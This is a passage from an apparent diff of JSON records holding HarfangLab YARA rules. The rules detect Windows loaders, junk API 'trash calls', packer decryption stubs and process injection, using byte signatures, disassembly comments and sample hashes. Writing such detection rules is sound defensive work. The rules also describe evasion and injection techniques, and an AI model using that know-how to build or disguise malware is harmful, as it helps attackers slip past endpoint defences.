02                                         // mov     [rdx], al\n            48 31 FA                                      // xor     rdx, rdi\n            (\n                48 8D 5B 01 |                             // lea     rbx, [rbx+1]\n                48 83 C3 01 |                             // add     rbx, 1\n                48 FF C3                                  // inc     rbx\n            )\n            48 39 F3                                      // cmp     rbx, rsi\n            75 ??                                         // jnz     short loc_14001204C\n            48 29 F3                                      // sub     rbx, rsi\n            48 01 DA                                      // add     rdx, rbx\n            48 31 FA                                      // xor     rdx, rdi\n            FF E2                                         // jmp     rdx\n        }\n\n    condition:\n        $hash_string or\n        all of ($uuid*) or\n        1 of ($jargon_*) or\n        1 of ($patchetw_*) or\n        2 of ($unhooking_*) or\n        (1 of ($start_code_*) and 1 of ($next_code_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_loader_586c0a5814c0"
+  ],
+  "rule_creation_date": "2025-03-07",
+  "rule_modified_date": "2025-03-14",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.Loader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1562",
+    "attack.t1055"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_mal_trash_calls_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563715Z",
+  "creation_date": "2026-03-23T11:46:25.563718Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563723Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.researchgate.net/publication/252930440_Obfuscated_malware_detection_using_API_call_dependency"
+  ],
+  "name": "generic_mal_trash_calls.yar",
+  "content": "import \"pe\"\n\nrule generic_pe_trash_calls {\n    meta:\n        title = \"Generic Malware Trash Calls\"\n        id = \"c75e0ea9-0b6d-480c-8c7b-19e06ce45e3d\"\n        description = \"Detects the use of trash calls in malware.\\nTrash calls are a technique used to make API calls that don't serve a legitimate purpose. This method is employed by malware to make malicious binaries appear more benign to heuristic-based detection mechanisms. The detection focuses on identifying patterns where APIs are called with arbitrary or meaningless parameters, a common tactic in malware such as SmokeLoader to mimic legitimate software behavior.\\nIt is recommended to check for additional signs of malicious activity.\"\n        references = \"https://www.researchgate.net/publication/252930440_Obfuscated_malware_detection_using_API_call_dependency\" // Section 4.1\n        date = \"2023-10-11\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.TrashCalls\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // af2edb431e026575bf1b73f79bb4145af87586a594635075a470636a7e78b1dd\n        // 6dbd206ef6296fe378dc4367b5ec9c07e65a9863a2fefb55716a39c48e144d21\n        // 36adb28694fa3c7195d9914afee88dc148627f218c3713cc5bee2d713c418f55\n        // 059d615ce6dee655959d7feae7b70f3b7c806f3986deb1826d01a07aec5a39cf\n\n        // Detection is based on having \"trash calls\". This is used by SmokeLoader to call APIs with random trash values to look like a real binary.\n        // There are too many variants of this to sig all of them so we chose a few common ones.\n        // (50 | 52 | 53 | 6A 00 | 56 )\n        // (push eax | push edx | push ebx | push 0 | push esi )\n\n\n        //     53                                            // push    ebx             ; lpSecurityAttributes\n        //     53                                            // push    ebx             ; nDefaultTimeOut\n        //     53                                            // push    ebx             ; nInBufferSize\n        //     53                                            // push    ebx             ; nOutBufferSize\n        //     53                                            // push    ebx             ; nMaxInstances\n        //     53                                            // push    ebx             ; dwPipeMode\n        //     53                                            // push    ebx             ; dwOpenMode\n        //     53                                            // push    ebx             ; lpName\n        //     FF ?? ?? ?? ?? ??                             // call    ds:CreateNamedPipeW ; Indirect Call Near Procedure\n        //     53                                            // push    ebx             ; lpdwNumberOfBytesRead\n        //     53                                            // push    ebx             ; dwNumberOfBytesToRead\n        //     53                                            // push    ebx             ; lpBuffer\n        //     53                                            // push    ebx             ; hRequest\n        //     FF ?? ?? ?? ?? ??                             // call    ds:WinHttpReadData ; Indirect Call Near Procedure\n        $thrash_call_1 = {\n            (\n                53 53 53 53 53 53 53 (FF ?? | FF ?? ?? ?? ?? ??) 53 53 53 FF |\n                52 52 52 52 52 52 52 (FF ?? | FF ?? ?? ?? ?? ??) 52 52 52 FF |\n                6A 00 6A 00 6A 00 6A 00 6A 00 6A 00 6A 00 (FF ?? | FF ?? ?? ?? ?? ??) 6A 00 6A 00 6A 00 FF|\n                56 56 56 56 56 56 56 (FF ?? | FF ?? ?? ?? ?? ??) 56 56 56 FF\n            )\n        }\n\n        //     FF ?? ?? ?? ?? ??                             // call    ds:AddConsoleAliasW ; Indirect Call Near Procedure\n        //     56                                            // push    esi             ; Result\n        //     56                                            // push    esi             ; JobHandle\n        //     56                                            // push    esi             ; ProcessHandle\n        //     FF ?? ?? ?? ?? ??                             // call    ds:IsProcessInJob ; Indirect Call Near Procedure\n        //     56                                            // push    esi             ; bDisablePriorityBoost\n        //     56                                            // push    esi             ; hProcess\n        //     FF ?? ?? ?? ?? ??                             // call    ds:SetProcessPriorityBoost ; Indirect Call Near Procedure\n        //     56                                            // push    esi             ; CalType\n        //     56                                            // push    esi             ; Calendar\n        //     56                                            // push    esi             ; Locale\n        //     56                                            // push    esi             ; lpCalInfoEnumProcEx\n        //     FF                                            // call    ds:EnumCalendarInfoExA ; Indirect Call Near Procedure\n        $thrash_call_2 = {\n            (\n                ((FF ?? | FF ?? ?? ?? ?? ??) 53 53 53 (FF ?? | FF ?? ?? ?? ?? ??) 53 53 (FF ?? | FF ?? ?? ?? ?? ??) 53 53 53 53 FF) |\n                ((FF ?? | FF ?? ?? ?? ?? ??) 52 52 52 (FF ?? | FF ?? ?? ?? ?? ??) 52 52 (FF ?? | FF ?? ?? ?? ?? ??) 52 52 52 52 FF) |\n                ((FF ?? | FF ?? ?? ?? ?? ??) 6A 00 6A 00 6A 00 (FF ?? | FF ?? ?? ?? ?? ??) 6A 00 6A 00 (FF ?? | FF ?? ?? ?? ?? ??) 6A 00 6A 00 6A 00 6A 00 FF) |\n                ((FF ?? | FF ?? ?? ?? ?? ??) 56 56 56 (FF ?? | FF ?? ?? ?? ?? ??) 56 56 (FF ?? | FF ?? ?? ?? ?? ??) 56 56 56 56 FF)\n            )\n        }\n\n        //     83 ?? ?? ?? ?? ?? ??                          // cmp     dwBytes, 10h\n        //     75 ??                                         // jnz     short loc_4055E6\n        //     53                                            // push    ebx             ; lpAddend\n        //     FF ?? ?? ?? ?? ??                             // call    ds:InterlockedDecrement\n        //     53                                            // push    ebx             ; lpBuffer\n        //     53                                            // push    ebx             ; iLast\n        //     53                                            // push    ebx             ; iFirst\n        //     53                                            // push    ebx             ; hdc\n        //     FF                                            // call    ds:GetCharWidthA\n        $thrash_call_3 = {\n            83 ?? ?? ?? ?? ?? ??\n            75 ??\n            (\n                (53 (FF ?? | FF ?? ?? ?? ?? ??) 53 53 53 53 FF) |\n                (52 (FF ?? | FF ?? ?? ?? ?? ??) 52 52 52 52 FF) |\n                (6A 00 (FF ?? | FF ?? ?? ?? ?? ??) 6A 00 6A 00 6A 00 6A 00 FF) |\n                (56 (FF ?? | FF ?? ?? ?? ?? ??) 56 56 56 56 FF)\n            )\n        }\n\n    condition:\n        (uint16(0) == 0x4d5a) and\n        (#thrash_call_1 + #thrash_call_2 + #thrash_call_3) > 2 and\n        pe.number_of_signatures == 0\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_pe_trash_calls"
+  ],
+  "rule_creation_date": "2023-10-11",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.TrashCalls"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_packer_2b012dd5dd3c_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589281Z",
+  "creation_date": "2026-03-23T11:46:25.589283Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589288Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal Research"
+  ],
+  "name": "generic_packer_2b012dd5dd3c.yar",
+  "content": "rule generic_packer_2b012dd5dd3c {\n    meta:\n        title = \"Generic Packer (2b012dd5dd3c)\"\n        id = \"306b1a51-c72f-4bea-aad3-2b012dd5dd3c\"\n        description = \"Detects generic packers via known decryption stub patterns.\\nPackers are tools used to compress, encrypt, or obfuscate executable files to reduce their size or evade detection mechanisms.\\nThe decryption stubs typically contain distinctive instruction sequences for data decryption that this rule detects.\\nIt is recommended to investigate the detected processes for malicious behavior, perform memory dumps for detailed analysis of the unpacked payload, and examine the process tree for suspicious parent-child relationships, and correlate with any other potentially malicious activity.\"\n        references = \"Internal Research\"\n        date = \"2024-11-13\"\n        modified = \"2026-01-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Generic.Packer\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        confidence = \"strong\"\n        score = 100\n\n    strings:\n        // Detection for this sample:\n        // 078d6a4bb8fcf8d907e0470601755eed2e396ae6d0e50cfc0874831c0d742063\n\n        $s_stub00 = {\n            48 8B 03                 // mov     rax, [rbx]\n            83 78 28 00              // cmp     dword ptr [rax+28h], 0\n            74 25                    // jz      short loc_1400138C3\n            48 8B 4B 08              // mov     rcx, [rbx+8]\n            8B 40 28                 // mov     eax, [rax+28h]\n            45 33 C0                 // xor     r8d, r8d\n            41 8D 50 01              // lea     edx, [r8+1]\n            48 03 C1                 // add     rax, rcx\n            FF D0                    // call    rax\n            85 C0                    // test    eax, eax\n            75 07                    // jnz     short loc_1400138BC\n            B9 5A 04 00 00           // mov     ecx, 45Ah\n            EB 1B                    // jmp     short loc_1400138D7\n            C7 43 1C 01 00 00 00     // mov     dword ptr [rbx+1Ch], 1\n            48 8B C3                 // mov     rax, rbx\n            EB 46                    // jmp     short loc_14001390E\n            B9 0D 00 00 00           // mov     ecx, 0Dh\n            E9 [1] FE FF FF          // jmp     loc_1400136DB\n            B9 C1 00 00 00           // mov     ecx, 0C1h\n            FF 15                    // call    cs:qword_1412C78B0\n        }\n\n    condition:\n        all of ($s_stub*)\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_packer_2b012dd5dd3c"
+  ],
+  "rule_creation_date": "2024-11-13",
+  "rule_modified_date": "2026-01-27",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.Packer"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_packer_b963042c0ece_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577946Z",
+  "creation_date": "2026-03-23T11:46:25.577949Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577954Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal Research"
+  ],
+  "name": "generic_packer_b963042c0ece.yar",
+  "content": "rule generic_packer_b963042c0ece {\n    meta:\n        title = \"Generic Packer (b963042c0ece)\"\n        id = \"6a221b13-ab9e-46bb-be4b-b963042c0ece\"\n        description = \"Detects a generic packer with known decryption stub patterns.\\nThis packer is identified through its decryption routines, which exhibit characteristics commonly found in packing tools.\\nIt is recommended to investigate detected processes and consider memory analysis for further insights.\"\n        references = \"Internal Research\"\n        date = \"2024-10-23\"\n        modified = \"2025-07-02\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Generic.Packer\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n\n    strings:\n        // Detection for these samples:\n        // 047cb407472a0a5609bb546f8212ea20dfd1b3d3feac34b1796e633d4e027207\n        // 524f9523586c25af068c2252b1f5f346ac87170a5751bcfcb7e8b2768e175ac1\n\n        $s_decryption_stub00 = {\n            0F B6 44 24 [1]            // movzx   eax, [rsp+48h+var_44]\n            48 63 4C 24 [1]            // movsxd  rcx, [rsp+48h+var_2C]\n            48 8B 54 24 [1]            // mov     rdx, [rsp+48h+var_38]\n            8B 0C 8A                   // mov     ecx, [rdx+rcx*4]\n            03 4C 24 [1]               // add     ecx, [rsp+48h+var_14]\n            48 8B 54 24 [1]            // mov     rdx, [rsp+48h+var_38]\n            8B 04 82                   // mov     eax, [rdx+rax*4]\n            33 C1                      // xor     eax, ecx\n            0F B6 4C 24 [1]            // movzx   ecx, [rsp+48h+var_44]\n            48 8B 54 24 [1]            // mov     rdx, [rsp+48h+var_38]\n            89 04 8A                   // mov     [rdx+rcx*4], eax\n        }\n        $s_decryption_stub01 = {\n            0F B6 C9                  // movzx   ecx, cl\n            48 8B [1] 24 [1-4]        // mov     rdx, [rsp+48h+arg_8]\n            0F B6 04 02               // movzx   eax, byte ptr [rdx+rax]\n            48 8B 54 24 [1]           // mov     rdx, [rsp+48h+var_38]\n            33 04 8A                  // xor     eax, [rdx+rcx*4]\n            48 63 4C 24 [1]           // movsxd  rcx, [rsp+48h+var_20]\n            48 8B [1] 24 [1-4]        // mov     rdx, [rsp+48h+arg_8]\n            88 04 0A                  // mov     [rdx+rcx], al\n            0F B6 [1] 24 [1-4]        // movzx   eax, [rsp+48h+var_24]\n            8B 4C 24 [1]              // mov     ecx, [rsp+48h+var_28]\n            8B 54 24 [1]              // mov     edx, [rsp+48h+var_30]\n            03 D1                     // add     edx, ecx\n        }\n        $s_decryption_stub02 = {\n            89 95 CC [1] FF FF                             // mov     [ebp+var_2F34], edx\n            DB 85 CC [1] FF FF                             // fild    [ebp+var_2F34]\n            D9 9D EC [1] FF FF                             // fstp    [ebp+var_2F14]\n            E8 [4]                                         // call    _rand\n            99                                             // cdq\n            B9 [1] 00 00 00                                // mov     ecx, 32h ; '2'\n            F7 F9                                          // idiv    ecx\n            83 C2 01                                       // add     edx, 1\n            89 95 C8 [1] FF FF                             // mov     [ebp+var_2F38], edx\n            DB 85 C8 [1] FF FF                             // fild    [ebp+var_2F38]\n            D9 9D F0 [1] FF FF                             // fstp    [ebp+var_2F10]\n            51                                             // push    ecx\n            D9 85 F0 [1] FF FF                             // fld     [ebp+var_2F10]\n            D9 1C 24                                       // fstp    [esp+2F40h+var_2F40] ; floa\n        }\n        $s_decryption_stub03 = {\n            8D 8D [1][1] FF FF                            //  lea     ecx, [ebp+var_2F30]\n            E8 [4]                                        //  call    sub_10002F00\n            8B 95 F4 [1] FF FF                            //  mov     edx, [ebp+var_2F0C]\n            C1 E2 04                                      //  shl     edx, 4\n            8D 8C 15 08 [1] FF FF                         //  lea     ecx, [ebp+edx+var_2E[1]]\n            8B 10                                         //  mov     edx, [eax]\n            89 11                                         //  mov     [ecx], edx\n            8B 50 04                                      //  mov     edx, [eax+4]\n            89 51 04                                      //  mov     [ecx+4], edx\n            8B 50 08                                      //  mov     edx, [eax+8]\n            89 51 08                                      //  mov     [ecx+8], edx\n            8B 40 0C                                      //  mov     eax, [eax+0Ch]\n            89 41 0C                                      //  mov     [ecx+0Ch], eax\n            E9 53 FF FF FF                                //  jmp     loc_10001B0C\n        }\n        $s_decryption_stub_04 = {\n            0F 94 C0                                       // setz    al\n            45 33 C0                                       // xor     r8d, r8d\n            46 89 5C [2]                                   // mov     [rbp+r12*4+4], r11d\n            42 89 7C [2]                                   // mov     [rbp+r13*4+4], edi\n            42 0F B6 54 [2]                                // movzx   edx, byte ptr [rbp+r12*4+4]\n            03 44 95 [1]                                   // add     eax, [rbp+rdx*4+4]\n            84 D2                                          // test    dl, dl\n            42 89 44 [2]                                   // mov     [rbp+r12*4+4], eax\n            8B 44 8D [1]                                   // mov     eax, [rbp+rcx*4+4]\n            41 0F 94 C0                                    // setz    r8b\n            41 8D 0C 00                                    // lea     ecx, [r8+rax]\n            43 8D [2-3]                                    // lea     eax, [r12+r13]\n            49 FF [1]                                      // inc     r14\n            42 89 4C [2]                                   // mov     [rbp+r13*4+4], ecx\n            0F B6 C8                                       // movzx   ecx, al\n            44 02 D9                                       // add     r11b, cl\n            44 02 DF                                       // add     r11b, dil\n            41 0F B6 CB                                    // movzx   ecx, r11b\n            0F B6 44 8D [1]                                // movzx   eax, byte ptr [rbp+rcx*4+4]\n            41 30 [1-2]                                     // xor     [r14-1], al\n            8B 44 8D [1]                                   // mov     eax, [rbp+rcx*4+4]\n            31 44 95 [1]                                   // xor     [rbp+rdx*4+4], eax\n            42 8B 44                                       // mov     eax, [rbp+r12*4+4]\n        }\n        $s_decryption_stub_05 = {\n            0F 94 C0                                       // setz    al\n            03 44 95 [1]                                   // add     eax, [rbp+rdx*4+8]\n            42 89 44 A5 [1]                                // mov     [rbp+r12*4+8], eax\n            44 8B D1                                       // mov     r10d, ecx\n            45 33 C0                                       // xor     r8d, r8d\n            84 D2                                          // test    dl, dl\n            41 0F 94 C0                                    // setz    r8b\n            8B 44 8D [1]                                   // mov     eax, [rbp+rcx*4+8]\n            41 8D 0C 00                                    // lea     ecx, [r8+rax]\n            42 89 4C B5 [1]                                // mov     [rbp+r14*4+8], ecx\n            43 8D 04 34                                    // lea     eax, [r12+r14]\n            0F B6 C8                                       // movzx   ecx, al\n            44 02 D9                                       // add     r11b, cl\n            44 02 DF                                       // add     r11b, dil\n            41 0F B6 CB                                    // movzx   ecx, r11b\n            0F B6 44 8D [1]                                // movzx   eax, byte ptr [rbp+rcx*4+4]\n            41 30 [1-2]                                    // xor     [r14-1], al\n            8B 44 8D [1]                                   // mov     eax, [rbp+rcx*4+4]\n            31 44 95 [1]                                   // xor     [rbp+rdx*4+4], eax\n            42 8B 44                                       // mov     eax, [rbp+r12*4+4]\n        }\n        $s_decryption_stub_06 = {\n            0F B6 C8                                       // movzx   ecx, al\n            44 02 D9                                       // add     r11b, cl\n            44 02 DF                                       // add     r11b, dil\n            41 0F B6 CB                                    // movzx   ecx, r11b\n            0F B6 44 8D [1]                                // movzx   eax, byte ptr [rbp+rcx*4+4]\n            41 30 [1-2]                                    // xor     [r14-1], al\n            8B 44 8D [1]                                   // mov     eax, [rbp+rcx*4+4]\n            31 44 95 [1]                                   // xor     [rbp+rdx*4+4], eax\n            42 8B 44                                       // mov     eax, [rbp+r12*4+4]\n        }\n        $s_decryption_stub_07 = {\n            02 55 F8                                      //  add     dl, byte ptr [ebp+var_8]\n            0F B6 D2                                      //  movzx   edx, dl\n            0F B6 5C 90 [1]                               //  movzx   ebx, byte ptr [eax+edx*4+4]\n            8D 54 90 [1]                                  //  lea     edx, [eax+edx*4+4]\n            89 55 08                                      //  mov     [ebp+arg_0], edx\n            8B 55 0C                                      //  mov     edx, [ebp+arg_4]\n            30 5C 16 FF                                   //  xor     [esi+edx-1], bl\n            8B 55 08                                      //  mov     edx, [ebp+arg_0]\n            8B 12                                         //  mov     edx, [edx]\n            31 17                                         //  xor     [edi], edx\n            8B 7C 88 [1]                                  //  mov     edi, [eax+ecx*4+4]\n            03 7D EC                                      //  add     edi, [ebp+var_14]\n            8B 55 F4                                      //  mov     edx, [ebp+var_C]\n            31 3A                                         //  xor     [edx], edi\n            3B 75 10                                      //  cmp     esi, [ebp+arg_8]\n        }\n        $s_decryption_stub08 = {\n            0F B6 C8            // movzx   ecx, al\n            40 02 F1            // add     sil, cl\n            40 02 F5            // add     sil, bpl\n            40 0F B6 CE         // movzx   ecx, sil\n            (41 0F B6 44 [2]    // movzx   eax, byte ptr [r15+rcx*4+8]\n            41 30 45 [0-1]      // xor     [r13+0], al\n            41 8B 44 [2]        // mov     eax, [r15+rcx*4+8]\n            41 31 44 [2]        // xor     [r15+rdx*4+8], eax\n            43 8B 44            // mov     eax, [r15+r12*4+8]\n            |\n            41 8A 44 8D [1]      // mov     al, [r13+rcx*4+8]\n            41 30 02)            //  xor     [r10], al\n        }\n        $s_decryption_stub09 = {\n            41 0F 94 C0           //  setz    r8b\n            41 8D 0C 00           //  lea     ecx, [r8+rax]\n            8D 04 3A              //  lea     eax, [rdx+rdi]\n            41 89 4C BE [1]       //  mov     [r14+rdi*4+8], ecx\n            0F B6 C8              //  movzx   ecx, al\n            44 02 D1              //  add     r10b, cl\n            44 02 D3              //  add     r10b, bl\n            [0-8]                 //  lea     rbx, aText      ; \".text\"\n            41 0F B6 CA           //  movzx   ecx, r10b\n            4C 8B [1-3]           //  mov     r10, [rsp+200h+Time]\n            41 8A 44 8E [1]       //  mov     al, [r14+rcx*4+8]\n            41 30 04 1A           //  xor     [r10+rbx], al\n            41 8B 44 8E [1]       //  mov     eax, [r14+rcx*4+8]\n            4D 03 D5              //  add     r10, r13\n            43 31                 //  xor     [r14+r11*4+8], eax\n        }\n        $s_decryption_stub10 = {\n            84 D2\n            42 89 44 [1-3]\n            8B 44 [1-3]\n            41 0F 94 C0\n            41 8D 0C 00\n            43 8D 04 2C\n            42 89 4C [1-3]\n            0F B6 C8\n            44 02 D9\n            44 02 DF\n            41 0F B6 CB\n            8A 44 [1-3]\n            41 30 06\n            8B 44 [1-3]\n            49 FF C6\n            31 44 [1-3]\n            42 8B 44\n        }\n        $s_decryption_stub11 = {\n            0F B6 C8                                      // movzx   ecx, al\n            44 02 D9                                      // add     r11b, cl\n            44 02 DF                                      // add     r11b, dil\n            41 0F B6 CB                                   // movzx   ecx, r11b\n            41 0F B6 44 8D 08                             // movzx   eax, byte ptr [r13+rcx*4+8]\n            41 30 46 [1]                                  // xor     [r14+1], al\n            41 8B 44 8D 08                                // mov     eax, [r13+rcx*4+8]\n            41 31 44 95 08                                // xor     [r13+rdx*4+8], eax\n            41 8B 44 AD 08                                // mov     eax, [r13+rbp*4+8]\n        }\n    condition:\n        1 of ($s_decryption_stub*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_packer_b963042c0ece"
+  ],
+  "rule_creation_date": "2024-10-23",
+  "rule_modified_date": "2025-07-02",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.Packer"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_process_injection_bf1d184a1bda_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585442Z",
+  "creation_date": "2026-03-23T11:46:25.585444Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585450Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/\nhttps://www.cloudsek.com/blog/unmasking-the-danger-lumma-stealer-malware-exploits-fake-captcha-pages"
+  ],
+  "name": "generic_process_injection_bf1d184a1bda.yar",
+  "content": "rule generic_process_injection_bf1d184a1bda {\n    meta:\n        title = \"Generic Process Injection (bf1d184a1bda)\"\n        id = \"5a6184b1-00ed-4e13-a5b2-bf1d184a1bda\"\n        description = \"Detects a generic process injection technique used by adversaries to inject malicious code into legitimate processes, a common tactic to evade process-based defenses and execute malicious activities on the system.\\nProcess injection involves creating a new thread in an existing process or opening a handle to it, then injecting shellcode or malicious code into its address space. This technique allows adversaries to execute malicious code under the guise of a trusted process, making detection more challenging.\\nIt is recommended to investigate actions performed by the related process and consider isolating the affected system for thorough analysis.\"\n        references = \"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/behind-the-captcha-a-clever-gateway-of-malware/\\nhttps://www.cloudsek.com/blog/unmasking-the-danger-lumma-stealer-malware-exploits-fake-captcha-pages\"\n        date = \"2024-12-06\"\n        modified = \"2025-03-31\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.001;attack.t1055.002\"\n        classification = \"Windows.Generic.ProcessInjection\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = \"[+] Got handle %p on remote process.\" ascii fullword\n        $s2 = \"[+] Allocated memory at %p within remote process.\" ascii fullword\n        $s3 = \"[+] Copied shellcode into allocated memory.\" ascii fullword\n        $s4 = \"[+] Created remote thread with entry point %p.\" ascii fullword\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_process_injection_bf1d184a1bda"
+  ],
+  "rule_creation_date": "2024-12-06",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ProcessInjection"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.002",
+    "attack.t1055.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_shellcode_1a268d969f86_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
